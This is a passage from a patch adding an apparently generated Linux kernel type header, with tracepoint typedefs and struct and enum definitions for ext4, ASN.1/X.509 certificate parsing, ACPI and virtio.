(*btf_trace_ext4_mb_new_inode_pa)(void *, struct ext4_allocation_context *, struct ext4_prealloc_space *); + +typedef void (*btf_trace_ext4_mb_new_group_pa)(void *, struct ext4_allocation_context *, struct ext4_prealloc_space *); + +typedef void (*btf_trace_ext4_mb_release_inode_pa)(void *, struct ext4_prealloc_space *, long long unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_mb_release_group_pa)(void *, struct super_block *, struct ext4_prealloc_space *); + +typedef void (*btf_trace_ext4_discard_preallocations)(void *, struct inode *, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_mb_discard_preallocations)(void *, struct super_block *, int); + +typedef void (*btf_trace_ext4_request_blocks)(void *, struct ext4_allocation_request *); + +typedef void (*btf_trace_ext4_allocate_blocks)(void *, struct ext4_allocation_request *, long long unsigned int); + +typedef void (*btf_trace_ext4_free_blocks)(void *, struct inode *, __u64, long unsigned int, int); + +typedef void (*btf_trace_ext4_sync_file_enter)(void *, struct file *, int); + +typedef void (*btf_trace_ext4_sync_file_exit)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_sync_fs)(void *, struct super_block *, int); + +typedef void (*btf_trace_ext4_alloc_da_blocks)(void *, struct inode *); + +typedef void (*btf_trace_ext4_mballoc_alloc)(void *, struct ext4_allocation_context *); + +typedef void (*btf_trace_ext4_mballoc_prealloc)(void *, struct ext4_allocation_context *); + +typedef void (*btf_trace_ext4_mballoc_discard)(void *, struct super_block *, struct inode *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_mballoc_free)(void *, struct super_block *, struct inode *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_forget)(void *, struct inode *, int, __u64); + +typedef void (*btf_trace_ext4_da_update_reserve_space)(void *, struct inode *, int, int); + +typedef void (*btf_trace_ext4_da_reserve_space)(void *, struct inode *); + +typedef void (*btf_trace_ext4_da_release_space)(void *, struct inode *, int); + +typedef void (*btf_trace_ext4_mb_bitmap_load)(void *, struct super_block *, long unsigned int); + +typedef void (*btf_trace_ext4_mb_buddy_bitmap_load)(void *, struct super_block *, long unsigned int); + +typedef void (*btf_trace_ext4_load_inode_bitmap)(void *, struct super_block *, long unsigned int); + +typedef void (*btf_trace_ext4_read_block_bitmap_load)(void *, struct super_block *, long unsigned int, bool); + +typedef void (*btf_trace_ext4_fallocate_enter)(void *, struct inode *, loff_t, loff_t, int); + +typedef void (*btf_trace_ext4_punch_hole)(void *, struct inode *, loff_t, loff_t, int); + +typedef void (*btf_trace_ext4_zero_range)(void *, struct inode *, loff_t, loff_t, int); + +typedef void (*btf_trace_ext4_fallocate_exit)(void *, struct inode *, loff_t, unsigned int, int); + +typedef void (*btf_trace_ext4_unlink_enter)(void *, struct inode *, struct dentry *); + +typedef void (*btf_trace_ext4_unlink_exit)(void *, struct dentry *, int); + +typedef void (*btf_trace_ext4_truncate_enter)(void *, struct inode *); + +typedef void (*btf_trace_ext4_truncate_exit)(void *, struct inode *); + +typedef void (*btf_trace_ext4_ext_convert_to_initialized_enter)(void *, struct inode *, struct ext4_map_blocks *, struct ext4_extent *); + +typedef void (*btf_trace_ext4_ext_convert_to_initialized_fastpath)(void *, struct inode *, struct ext4_map_blocks *, struct ext4_extent *, struct ext4_extent *); + +typedef void (*btf_trace_ext4_ext_map_blocks_enter)(void *, struct inode *, ext4_lblk_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_ind_map_blocks_enter)(void *, struct inode *, ext4_lblk_t, unsigned int, unsigned int); + +typedef void (*btf_trace_ext4_ext_map_blocks_exit)(void *, struct inode *, unsigned int, struct ext4_map_blocks *, int); + +typedef void (*btf_trace_ext4_ind_map_blocks_exit)(void *, struct inode *, unsigned int, struct ext4_map_blocks *, int); + +typedef void (*btf_trace_ext4_ext_load_extent)(void *, struct inode *, ext4_lblk_t, ext4_fsblk_t); + +typedef void (*btf_trace_ext4_load_inode)(void *, struct super_block *, long unsigned int); + +typedef void (*btf_trace_ext4_journal_start_sb)(void *, struct super_block *, int, int, int, int, long unsigned int); + +typedef void (*btf_trace_ext4_journal_start_inode)(void *, struct inode *, int, int, int, int, long unsigned int); + +typedef void (*btf_trace_ext4_journal_start_reserved)(void *, struct super_block *, int, long unsigned int); + +typedef void (*btf_trace_ext4_trim_extent)(void *, struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_trim_all_free)(void *, struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); + +typedef void (*btf_trace_ext4_ext_handle_unwritten_extents)(void *, struct inode *, struct ext4_map_blocks *, int, unsigned int, ext4_fsblk_t); + +typedef void (*btf_trace_ext4_get_implied_cluster_alloc_exit)(void *, struct super_block *, struct ext4_map_blocks *, int); + +typedef void (*btf_trace_ext4_ext_show_extent)(void *, struct inode *, ext4_lblk_t, ext4_fsblk_t, short unsigned int); + +typedef void (*btf_trace_ext4_remove_blocks)(void *, struct inode *, struct ext4_extent *, ext4_lblk_t, ext4_fsblk_t, struct partial_cluster *); + +typedef void (*btf_trace_ext4_ext_rm_leaf)(void *, struct inode *, ext4_lblk_t, struct ext4_extent *, struct partial_cluster *); + +typedef void (*btf_trace_ext4_ext_rm_idx)(void *, struct inode *, ext4_fsblk_t); + +typedef void (*btf_trace_ext4_ext_remove_space)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t, int); + +typedef void (*btf_trace_ext4_ext_remove_space_done)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t, int, struct partial_cluster *, __le16); + +typedef void (*btf_trace_ext4_es_insert_extent)(void *, struct inode *, struct extent_status *); + +typedef void (*btf_trace_ext4_es_cache_extent)(void *, struct inode *, struct extent_status *); + +typedef void (*btf_trace_ext4_es_remove_extent)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t); + +typedef void (*btf_trace_ext4_es_find_extent_range_enter)(void *, struct inode *, ext4_lblk_t); + +typedef void (*btf_trace_ext4_es_find_extent_range_exit)(void *, struct inode *, struct extent_status *); + +typedef void (*btf_trace_ext4_es_lookup_extent_enter)(void *, struct inode *, ext4_lblk_t); + +typedef void (*btf_trace_ext4_es_lookup_extent_exit)(void *, struct inode *, struct extent_status *, int); + +typedef void (*btf_trace_ext4_es_shrink_count)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_es_shrink_scan_enter)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_es_shrink_scan_exit)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_collapse_range)(void *, struct inode *, loff_t, loff_t); + +typedef void (*btf_trace_ext4_insert_range)(void *, struct inode *, loff_t, loff_t); + +typedef void (*btf_trace_ext4_es_shrink)(void *, struct super_block *, int, u64, int, int); + +typedef void (*btf_trace_ext4_es_insert_delayed_block)(void *, struct inode *, struct extent_status *, bool); + +typedef void (*btf_trace_ext4_fsmap_low_key)(void *, struct super_block *, u32, u32, u64, u64, u64); + +typedef void (*btf_trace_ext4_fsmap_high_key)(void *, struct super_block *, u32, u32, u64, u64, u64); + +typedef void (*btf_trace_ext4_fsmap_mapping)(void *, struct super_block *, u32, u32, u64, u64, u64); + +typedef void (*btf_trace_ext4_getfsmap_low_key)(void *, struct super_block *, struct ext4_fsmap *); + +typedef void (*btf_trace_ext4_getfsmap_high_key)(void *, struct super_block *, struct ext4_fsmap *); + +typedef void (*btf_trace_ext4_getfsmap_mapping)(void *, struct super_block *, struct ext4_fsmap *); + +typedef void (*btf_trace_ext4_shutdown)(void *, struct super_block *, long unsigned int); + +typedef void (*btf_trace_ext4_error)(void *, struct super_block *, const char *, unsigned int); + +typedef void (*btf_trace_ext4_prefetch_bitmaps)(void *, struct super_block *, ext4_group_t, ext4_group_t, unsigned int); + +typedef void (*btf_trace_ext4_lazy_itable_init)(void *, struct super_block *, ext4_group_t); + +typedef void (*btf_trace_ext4_fc_replay_scan)(void *, struct super_block *, int, int); + +typedef void (*btf_trace_ext4_fc_replay)(void *, struct super_block *, int, int, int, int); + +typedef void (*btf_trace_ext4_fc_commit_start)(void *, struct super_block *, tid_t); + +typedef void (*btf_trace_ext4_fc_commit_stop)(void *, struct super_block *, int, int, tid_t); + +typedef void (*btf_trace_ext4_fc_stats)(void *, struct super_block *); + +typedef void (*btf_trace_ext4_fc_track_create)(void *, handle_t *, struct inode *, struct dentry *, int); + +typedef void (*btf_trace_ext4_fc_track_link)(void *, handle_t *, struct inode *, struct dentry *, int); + +typedef void (*btf_trace_ext4_fc_track_unlink)(void *, handle_t *, struct inode *, struct dentry *, int); + +typedef void (*btf_trace_ext4_fc_track_inode)(void *, handle_t *, struct inode *, int); + +typedef void (*btf_trace_ext4_fc_track_range)(void *, handle_t *, struct inode *, long int, long int, int); + +typedef void (*btf_trace_ext4_fc_cleanup)(void *, journal_t *, int, tid_t); + +typedef void (*btf_trace_ext4_update_sb)(void *, struct super_block *, ext4_fsblk_t, unsigned int); + +struct ext4_err_translation { + int code; + int errno; +}; + +enum { + Opt_bsd_df = 0, + Opt_minix_df = 1, + Opt_grpid = 2, + Opt_nogrpid = 3, + Opt_resgid = 4, + Opt_resuid = 5, + Opt_sb = 6, + Opt_nouid32 = 7, + Opt_debug = 8, + Opt_removed = 9, + Opt_user_xattr = 10, + Opt_acl = 11, + Opt_auto_da_alloc = 12, + Opt_noauto_da_alloc = 13, + Opt_noload = 14, + Opt_commit = 15, + Opt_min_batch_time = 16, + Opt_max_batch_time = 17, + Opt_journal_dev = 18, + Opt_journal_path = 19, + Opt_journal_checksum = 20, + Opt_journal_async_commit = 21, + Opt_abort = 22, + Opt_data_journal = 23, + Opt_data_ordered = 24, + Opt_data_writeback = 25, + Opt_data_err_abort = 26, + Opt_data_err_ignore = 27, + Opt_test_dummy_encryption = 28, + Opt_inlinecrypt = 29, + Opt_usrjquota = 30, + Opt_grpjquota = 31, + Opt_quota = 32, + Opt_noquota = 33, + Opt_barrier = 34, + Opt_nobarrier = 35, + Opt_err___3 = 36, + Opt_usrquota = 37, + Opt_grpquota = 38, + Opt_prjquota = 39, + Opt_dax = 40, + Opt_dax_always = 41, + Opt_dax_inode = 42, + Opt_dax_never = 43, + Opt_stripe = 44, + Opt_delalloc = 45, + Opt_nodelalloc = 46, + Opt_warn_on_error = 47, + Opt_nowarn_on_error = 48, + Opt_mblk_io_submit = 49, + Opt_debug_want_extra_isize = 50, + Opt_nomblk_io_submit = 51, + Opt_block_validity = 52, + Opt_noblock_validity = 53, + Opt_inode_readahead_blks = 54, + Opt_journal_ioprio = 55, + Opt_dioread_nolock = 56, + Opt_dioread_lock = 57, + Opt_discard = 58, + Opt_nodiscard = 59, + Opt_init_itable = 60, + Opt_noinit_itable = 61, + Opt_max_dir_size_kb = 62, + Opt_nojournal_checksum = 63, + Opt_nombcache = 64, + Opt_no_prefetch_block_bitmaps = 65, + Opt_mb_optimize_scan = 66, + Opt_errors = 67, + Opt_data = 68, + Opt_data_err = 69, + Opt_jqfmt = 70, + Opt_dax_type = 71, +}; + +struct mount_opts { + int token; + int mount_opt; + int flags; +}; + +struct ext4_fs_context { + char *s_qf_names[3]; + struct fscrypt_dummy_policy dummy_enc_policy; + int s_jquota_fmt; + short unsigned int qname_spec; + long unsigned int vals_s_flags; + long unsigned int mask_s_flags; + long unsigned int journal_devnum; + long unsigned int s_commit_interval; + long unsigned int s_stripe; + unsigned int s_inode_readahead_blks; + unsigned int s_want_extra_isize; + unsigned int s_li_wait_mult; + unsigned int s_max_dir_size_kb; + unsigned int journal_ioprio; + unsigned int vals_s_mount_opt; + unsigned int mask_s_mount_opt; + unsigned int vals_s_mount_opt2; + unsigned int mask_s_mount_opt2; + long unsigned int vals_s_mount_flags; + long unsigned int mask_s_mount_flags; + unsigned int opt_flags; + unsigned int spec; + u32 s_max_batch_time; + u32 s_min_batch_time; + kuid_t s_resuid; + kgid_t s_resgid; + ext4_fsblk_t s_sb_block; +}; + +struct ext4_mount_options { + long unsigned int s_mount_opt; + long unsigned int s_mount_opt2; + kuid_t s_resuid; + kgid_t s_resgid; + long unsigned int s_commit_interval; + u32 s_min_batch_time; + u32 s_max_batch_time; +}; + +struct aead_geniv_ctx { + spinlock_t lock; + struct crypto_aead *child; + struct crypto_sync_skcipher *sknull; + u8 salt[0]; +}; + +enum asn1_class { + ASN1_UNIV = 0, + ASN1_APPL = 1, + ASN1_CONT = 2, + ASN1_PRIV = 3, +}; + +enum asn1_method { + ASN1_PRIM = 0, + ASN1_CONS = 1, +}; + +enum asn1_tag { + ASN1_EOC = 0, + ASN1_BOOL = 1, + ASN1_INT = 2, + ASN1_BTS = 3, + ASN1_OTS = 4, + ASN1_NULL = 5, + ASN1_OID = 6, + ASN1_ODE = 7, + ASN1_EXT = 8, + ASN1_REAL = 9, + ASN1_ENUM = 10, + ASN1_EPDV = 11, + ASN1_UTF8STR = 12, + ASN1_RELOID = 13, + ASN1_SEQ = 16, + ASN1_SET = 17, + ASN1_NUMSTR = 18, + ASN1_PRNSTR = 19, + ASN1_TEXSTR = 20, + ASN1_VIDSTR = 21, + ASN1_IA5STR = 22, + ASN1_UNITIM = 23, + ASN1_GENTIM = 24, + ASN1_GRASTR = 25, + ASN1_VISSTR = 26, + ASN1_GENSTR = 27, + ASN1_UNISTR = 28, + ASN1_CHRSTR = 29, + ASN1_BMPSTR = 30, + ASN1_LONG_TAG = 31, +}; + +typedef int (*asn1_action_t)(void *, size_t, unsigned char, const void *, size_t); + +struct asn1_decoder { + const unsigned char *machine; + size_t machlen; + const asn1_action_t *actions; +}; + +enum asn1_opcode { + ASN1_OP_MATCH = 0, + ASN1_OP_MATCH_OR_SKIP = 1, + ASN1_OP_MATCH_ACT = 2, + ASN1_OP_MATCH_ACT_OR_SKIP = 3, + ASN1_OP_MATCH_JUMP = 4, + ASN1_OP_MATCH_JUMP_OR_SKIP = 5, + ASN1_OP_MATCH_ANY = 8, + ASN1_OP_MATCH_ANY_OR_SKIP = 9, + ASN1_OP_MATCH_ANY_ACT = 10, + ASN1_OP_MATCH_ANY_ACT_OR_SKIP = 11, + ASN1_OP_COND_MATCH_OR_SKIP = 17, + ASN1_OP_COND_MATCH_ACT_OR_SKIP = 19, + ASN1_OP_COND_MATCH_JUMP_OR_SKIP = 21, + ASN1_OP_COND_MATCH_ANY = 24, + ASN1_OP_COND_MATCH_ANY_OR_SKIP = 25, + ASN1_OP_COND_MATCH_ANY_ACT = 26, + ASN1_OP_COND_MATCH_ANY_ACT_OR_SKIP = 27, + ASN1_OP_COND_FAIL = 28, + ASN1_OP_COMPLETE = 29, + ASN1_OP_ACT = 30, + ASN1_OP_MAYBE_ACT = 31, + ASN1_OP_END_SEQ = 32, + ASN1_OP_END_SET = 33, + ASN1_OP_END_SEQ_OF = 34, + ASN1_OP_END_SET_OF = 35, + ASN1_OP_END_SEQ_ACT = 36, + ASN1_OP_END_SET_ACT = 37, + ASN1_OP_END_SEQ_OF_ACT = 38, + ASN1_OP_END_SET_OF_ACT = 39, + ASN1_OP_RETURN = 40, + ASN1_OP__NR = 41, +}; + +enum x509_actions { + ACT_x509_extract_key_data = 0, + ACT_x509_extract_name_segment = 1, + ACT_x509_note_OID = 2, + ACT_x509_note_issuer = 3, + ACT_x509_note_not_after = 4, + ACT_x509_note_not_before = 5, + ACT_x509_note_params = 6, + ACT_x509_note_serial = 7, + ACT_x509_note_sig_algo = 8, + ACT_x509_note_signature = 9, + ACT_x509_note_subject = 10, + ACT_x509_note_tbs_certificate = 11, + ACT_x509_process_extension = 12, + NR__x509_actions = 13, +}; + +enum OID { + OID_id_dsa_with_sha1 = 0, + OID_id_dsa = 1, + OID_id_ecPublicKey = 2, + OID_id_prime192v1 = 3, + OID_id_prime256v1 = 4, + OID_id_ecdsa_with_sha1 = 5, + OID_id_ecdsa_with_sha224 = 6, + OID_id_ecdsa_with_sha256 = 7, + OID_id_ecdsa_with_sha384 = 8, + OID_id_ecdsa_with_sha512 = 9, + OID_rsaEncryption = 10, + OID_md2WithRSAEncryption = 11, + OID_md3WithRSAEncryption = 12, + OID_md4WithRSAEncryption = 13, + OID_sha1WithRSAEncryption = 14, + OID_sha256WithRSAEncryption = 15, + OID_sha384WithRSAEncryption = 16, + OID_sha512WithRSAEncryption = 17, + OID_sha224WithRSAEncryption = 18, + OID_data = 19, + OID_signed_data = 20, + OID_email_address = 21, + OID_contentType = 22, + OID_messageDigest = 23, + OID_signingTime = 24, + OID_smimeCapabilites = 25, + OID_smimeAuthenticatedAttrs = 26, + OID_md2 = 27, + OID_md4 = 28, + OID_md5 = 29, + OID_mskrb5 = 30, + OID_krb5 = 31, + OID_krb5u2u = 32, + OID_msIndirectData = 33, + OID_msStatementType = 34, + OID_msSpOpusInfo = 35, + OID_msPeImageDataObjId = 36, + OID_msIndividualSPKeyPurpose = 37, + OID_msOutlookExpress = 38, + OID_ntlmssp = 39, + OID_spnego = 40, + OID_IAKerb = 41, + OID_PKU2U = 42, + OID_Scram = 43, + OID_certAuthInfoAccess = 44, + OID_sha1 = 45, + OID_id_ansip384r1 = 46, + OID_sha256 = 47, + OID_sha384 = 48, + OID_sha512 = 49, + OID_sha224 = 50, + OID_commonName = 51, + OID_surname = 52, + OID_countryName = 53, + OID_locality = 54, + OID_stateOrProvinceName = 55, + OID_organizationName = 56, + OID_organizationUnitName = 57, + OID_title = 58, + OID_description = 59, + OID_name = 60, + OID_givenName = 61, + OID_initials = 62, + OID_generationalQualifier = 63, + OID_subjectKeyIdentifier = 64, + OID_keyUsage = 65, + OID_subjectAltName = 66, + OID_issuerAltName = 67, + OID_basicConstraints = 68, + OID_crlDistributionPoints = 69, + OID_certPolicies = 70, + OID_authorityKeyIdentifier = 71, + OID_extKeyUsage = 72, + OID_NetlogonMechanism = 73, + OID_appleLocalKdcSupported = 74, + OID_gostCPSignA = 75, + OID_gostCPSignB = 76, + OID_gostCPSignC = 77, + OID_gost2012PKey256 = 78, + OID_gost2012PKey512 = 79, + OID_gost2012Digest256 = 80, + OID_gost2012Digest512 = 81, + OID_gost2012Signature256 = 82, + OID_gost2012Signature512 = 83, + OID_gostTC26Sign256A = 84, + OID_gostTC26Sign256B = 85, + OID_gostTC26Sign256C = 86, + OID_gostTC26Sign256D = 87, + OID_gostTC26Sign512A = 88, + OID_gostTC26Sign512B = 89, + OID_gostTC26Sign512C = 90, + OID_sm2 = 91, + OID_sm3 = 92, + OID_SM2_with_SM3 = 93, + OID_sm3WithRSAEncryption = 94, + OID_TPMLoadableKey = 95, + OID_TPMImportableKey = 96, + OID_TPMSealedData = 97, + OID__NR = 98, +}; + +struct public_key { + void *key; + u32 keylen; + enum OID algo; + void *params; + u32 paramlen; + bool key_is_private; + const char *id_type; + const char *pkey_algo; + long unsigned int key_eflags; +}; + +struct asymmetric_key_id; + +struct public_key_signature { + struct asymmetric_key_id *auth_ids[3]; + u8 *s; + u8 *digest; + u32 s_size; + u32 digest_size; + const char *pkey_algo; + const char *hash_algo; + const char *encoding; + const void *data; + unsigned int data_size; +}; + +struct asymmetric_key_id { + short unsigned int len; + unsigned char data[0]; +}; + +struct asymmetric_key_subtype; + +struct x509_certificate { + struct x509_certificate *next; + struct x509_certificate *signer; + struct public_key *pub; + struct public_key_signature *sig; + char *issuer; + char *subject; + struct asymmetric_key_id *id; + struct asymmetric_key_id *skid; + time64_t valid_from; + time64_t valid_to; + const void *tbs; + unsigned int tbs_size; + unsigned int raw_sig_size; + const void *raw_sig; + const void *raw_serial; + unsigned int raw_serial_size; + unsigned int raw_issuer_size; + const void *raw_issuer; + const void *raw_subject; + unsigned int raw_subject_size; + unsigned int raw_skid_size; + const void *raw_skid; + unsigned int index; + bool seen; + bool verified; + bool self_signed; + bool unsupported_sig; + bool blacklisted; +}; + +struct pkcs7_signed_info { + struct pkcs7_signed_info *next; + struct x509_certificate *signer; + unsigned int index; + bool unsupported_crypto; + bool blacklisted; + const void *msgdigest; + unsigned int msgdigest_len; + unsigned int authattrs_len; + const void *authattrs; + long unsigned int aa_set; + time64_t signing_time; + struct public_key_signature *sig; +}; + +struct pkcs7_message { + struct x509_certificate *certs; + struct x509_certificate *crl; + struct pkcs7_signed_info *signed_infos; + u8 version; + bool have_authattrs; + enum OID data_type; + size_t data_len; + size_t data_hdrlen; + const void *data; +}; + +enum { + DISK_EVENT_MEDIA_CHANGE = 1, + DISK_EVENT_EJECT_REQUEST = 2, +}; + +enum { + DISK_EVENT_FLAG_POLL = 1, + DISK_EVENT_FLAG_UEVENT = 2, + DISK_EVENT_FLAG_BLOCK_ON_EXCL_WRITE = 4, +}; + +struct disk_events { + struct list_head node; + struct gendisk *disk; + spinlock_t lock; + struct mutex block_mutex; + int block; + unsigned int pending; + unsigned int clearing; + long int poll_msecs; + struct delayed_work dwork; +}; + +struct open_how { + __u64 flags; + __u64 mode; + __u64 resolve; +}; + +struct io_open { + struct file *file; + int dfd; + u32 file_slot; + struct filename *filename; + struct open_how how; + long unsigned int nofile; +}; + +struct io_close { + struct file *file; + int fd; + u32 file_slot; +}; + +struct assoc_array_ops { + long unsigned int (*get_key_chunk)(const void *, int); + long unsigned int (*get_object_key_chunk)(const void *, int); + bool (*compare_object)(const void *, const void *); + int (*diff_objects)(const void *, const void *); + void (*free_object)(void *); +}; + +struct assoc_array_node { + struct assoc_array_ptr *back_pointer; + u8 parent_slot; + struct assoc_array_ptr *slots[16]; + long unsigned int nr_leaves_on_branch; +}; + +struct assoc_array_shortcut { + struct assoc_array_ptr *back_pointer; + int parent_slot; + int skip_to_level; + struct assoc_array_ptr *next_node; + long unsigned int index_key[0]; +}; + +struct assoc_array_edit { + struct callback_head rcu; + struct assoc_array *array; + const struct assoc_array_ops *ops; + const struct assoc_array_ops *ops_for_excised_subtree; + struct assoc_array_ptr *leaf; + struct assoc_array_ptr **leaf_p; + struct assoc_array_ptr *dead_leaf; + struct assoc_array_ptr *new_meta[3]; + struct assoc_array_ptr *excised_meta[1]; + struct assoc_array_ptr *excised_subtree; + struct assoc_array_ptr **set_backpointers[16]; + struct assoc_array_ptr *set_backpointers_to; + struct assoc_array_node *adjust_count_on; + long int adjust_count_by; + struct { + struct assoc_array_ptr **ptr; + struct assoc_array_ptr *to; + } set[2]; + struct { + u8 *p; + u8 to; + } set_parent_slot[1]; + u8 segment_cache[17]; +}; + +enum assoc_array_walk_status { + assoc_array_walk_tree_empty = 0, + assoc_array_walk_found_terminal_node = 1, + assoc_array_walk_found_wrong_shortcut = 2, +}; + +struct assoc_array_walk_result { + struct { + struct assoc_array_node *node; + int level; + int slot; + } terminal_node; + struct { + struct assoc_array_shortcut *shortcut; + int level; + int sc_level; + long unsigned int sc_segments; + long unsigned int dissimilarity; + } wrong_shortcut; +}; + +struct assoc_array_delete_collapse_context { + struct assoc_array_node *node; + const void *skip_leaf; + int slot; +}; + +typedef struct { + unsigned char op; + unsigned char bits; + short unsigned int val; +} code; + +typedef enum { + CODES = 0, + LENS = 1, + DISTS = 2, +} codetype; + +typedef struct { + const uint8_t *externalDict; + size_t extDictSize; + const uint8_t *prefixEnd; + size_t prefixSize; +} LZ4_streamDecode_t_internal; + +typedef union { + long long unsigned int table[4]; + LZ4_streamDecode_t_internal internal_donotuse; +} LZ4_streamDecode_t; + +typedef uint8_t BYTE; + +typedef uint16_t U16; + +typedef uint32_t U32; + +typedef uint64_t U64; + +typedef uintptr_t uptrval; + +typedef enum { + noDict = 0, + withPrefix64k = 1, + usingExtDict = 2, +} dict_directive; + +typedef enum { + endOnOutputSize = 0, + endOnInputSize = 1, +} endCondition_directive; + +typedef enum { + decode_full_block = 0, + partial_decode = 1, +} earlyEnd_directive; + +struct gcry_mpi { + int alloced; + int nlimbs; + int nbits; + int sign; + unsigned int flags; + mpi_limb_t *d; +}; + +typedef struct gcry_mpi *MPI; + +struct node_groups { + unsigned int id; + union { + unsigned int ngroups; + unsigned int ncpus; + }; +}; + +struct linux_logo { + int type; + unsigned int width; + unsigned int height; + unsigned int clutsize; + const unsigned char *clut; + const unsigned char *data; +}; + +struct acpi_wakeup_handler { + struct list_head list_node; + bool (*wakeup)(void *); + void *context; +}; + +enum acpi_bridge_type { + ACPI_BRIDGE_TYPE_PCIE = 1, + ACPI_BRIDGE_TYPE_CXL = 2, +}; + +struct acpi_pci_root { + struct acpi_device *device; + struct pci_bus *bus; + u16 segment; + int bridge_type; + struct resource secondary; + u32 osc_support_set; + u32 osc_control_set; + u32 osc_ext_support_set; + u32 osc_ext_control_set; + phys_addr_t mcfg_addr; +}; + +struct acpi_osc_context { + char *uuid_str; + int rev; + struct acpi_buffer cap; + struct acpi_buffer ret; +}; + +struct acpi_pci_root_ops; + +struct acpi_pci_root_info { + struct acpi_pci_root *root; + struct acpi_device *bridge; + struct acpi_pci_root_ops *ops; + struct list_head resources; + char name[16]; +}; + +struct acpi_pci_root_ops { + struct pci_ops *pci_ops; + int (*init_info)(struct acpi_pci_root_info *); + void (*release_info)(struct acpi_pci_root_info *); + int (*prepare_resources)(struct acpi_pci_root_info *); +}; + +struct pci_osc_bit_struct { + u32 bit; + char *desc; +}; + +struct acpi_rsconvert_info { + u8 opcode; + u8 resource_offset; + u8 aml_offset; + u8 value; +}; + +enum { + ACPI_RSC_INITGET = 0, + ACPI_RSC_INITSET = 1, + ACPI_RSC_FLAGINIT = 2, + ACPI_RSC_1BITFLAG = 3, + ACPI_RSC_2BITFLAG = 4, + ACPI_RSC_3BITFLAG = 5, + ACPI_RSC_6BITFLAG = 6, + ACPI_RSC_ADDRESS = 7, + ACPI_RSC_BITMASK = 8, + ACPI_RSC_BITMASK16 = 9, + ACPI_RSC_COUNT = 10, + ACPI_RSC_COUNT16 = 11, + ACPI_RSC_COUNT_GPIO_PIN = 12, + ACPI_RSC_COUNT_GPIO_RES = 13, + ACPI_RSC_COUNT_GPIO_VEN = 14, + ACPI_RSC_COUNT_SERIAL_RES = 15, + ACPI_RSC_COUNT_SERIAL_VEN = 16, + ACPI_RSC_DATA8 = 17, + ACPI_RSC_EXIT_EQ = 18, + ACPI_RSC_EXIT_LE = 19, + ACPI_RSC_EXIT_NE = 20, + ACPI_RSC_LENGTH = 21, + ACPI_RSC_MOVE_GPIO_PIN = 22, + ACPI_RSC_MOVE_GPIO_RES = 23, + ACPI_RSC_MOVE_SERIAL_RES = 24, + ACPI_RSC_MOVE_SERIAL_VEN = 25, + ACPI_RSC_MOVE8 = 26, + ACPI_RSC_MOVE16 = 27, + ACPI_RSC_MOVE32 = 28, + ACPI_RSC_MOVE64 = 29, + ACPI_RSC_SET8 = 30, + ACPI_RSC_SOURCE = 31, + ACPI_RSC_SOURCEX = 32, +}; + +struct acpi_fan_fps { + u64 control; + u64 trip_point; + u64 speed; + u64 noise_level; + u64 power; + char name[20]; + struct device_attribute dev_attr; +}; + +struct acpi_fan_fif { + u8 revision; + u8 fine_grain_ctrl; + u8 step_size; + u8 low_speed_notification; +}; + +struct acpi_fan_fst { + u64 revision; + u64 control; + u64 speed; +}; + +struct acpi_fan { + bool acpi4; + struct acpi_fan_fif fif; + struct acpi_fan_fps *fps; + int fps_count; + struct thermal_cooling_device *cdev; + struct device_attribute fst_speed; + struct device_attribute fine_grain_control; +}; + +struct virtio_device_id { + __u32 device; + __u32 vendor; +}; + +struct virtio_device; + +struct virtqueue { + struct list_head list; + void (*callback)(struct virtqueue *); + const char *name; + struct virtio_device *vdev; + unsigned int index; + unsigned int num_free; + unsigned int num_max; + bool reset; + void *priv; +}; + +struct vringh_config_ops; + +struct virtio_config_ops; + +struct virtio_device { + int index; + bool failed; + bool config_enabled; + bool config_change_pending; + spinlock_t config_lock; + spinlock_t vqs_list_lock; + struct device dev; + struct virtio_device_id id; + const struct virtio_config_ops *config; + const struct vringh_config_ops *vringh_config; + struct list_head vqs; + u64 features; + void *priv; +}; + +typedef void vq_callback_t(struct virtqueue *); + +struct irq_affinity; + +struct virtio_shm_region; + +struct virtio_config_ops { + void (*get)(struct virtio_device *, unsigned int, void *, unsigned int); + void (*set)(struct virtio_device *, unsigned int, const void *, unsigned int); + u32 (*generation)(struct virtio_device *); + u8 (*get_status)(struct virtio_device *); + void (*set_status)(struct virtio_device *, u8); + void (*reset)(struct virtio_device *); + int (*find_vqs)(struct virtio_device *, unsigned int, struct virtqueue **, vq_callback_t **, const char * const *, const bool *, struct irq_affinity *); + void (*del_vqs)(struct virtio_device *); + void (*synchronize_cbs)(struct virtio_device *); + u64 (*get_features)(struct virtio_device *); + int (*finalize_features)(struct virtio_device *); + const char * (*bus_name)(struct virtio_device *); + int (*set_vq_affinity)(struct virtqueue *, const struct cpumask *); + const struct cpumask * (*get_vq_affinity)(struct virtio_device *, int); + bool (*get_shm_region)(struct virtio_device *, struct virtio_shm_region *, u8); + int (*disable_vq_and_reset)(struct virtqueue *); + int (*enable_vq_after_reset)(struct virtqueue *); +}; + +typedef __u16 __virtio16; + +typedef __u32 __virtio32; + +typedef __u64 __virtio64; + +struct vring_desc { + __virtio64 addr; + __virtio32 len; + __virtio16 flags; + __virtio16 next; +}; + +struct vring_avail { + __virtio16 flags; + __virtio16 idx; + __virtio16 ring[0]; +}; + +struct vring_used_elem { + __virtio32 id; + __virtio32 len; +}; + +typedef struct vring_used_elem vring_used_elem_t; + +struct vring_used { + __virtio16 flags; + __virtio16 idx; + vring_used_elem_t ring[0]; +}; + +typedef struct vring_desc vring_desc_t; + +typedef struct vring_avail vring_avail_t; + +typedef struct vring_used vring_used_t; + +struct vring { + unsigned int num; + vring_desc_t *desc; + vring_avail_t *avail; + vring_used_t *used; +}; + +struct vring_packed_desc_event { + __le16 off_wrap; + __le16 flags; +}; + +struct vring_packed_desc { + __le64 addr; + __le32 len; + __le16 id; + __le16 flags; +}; + +struct virtio_shm_region { + u64 addr; + u64 len; +}; + 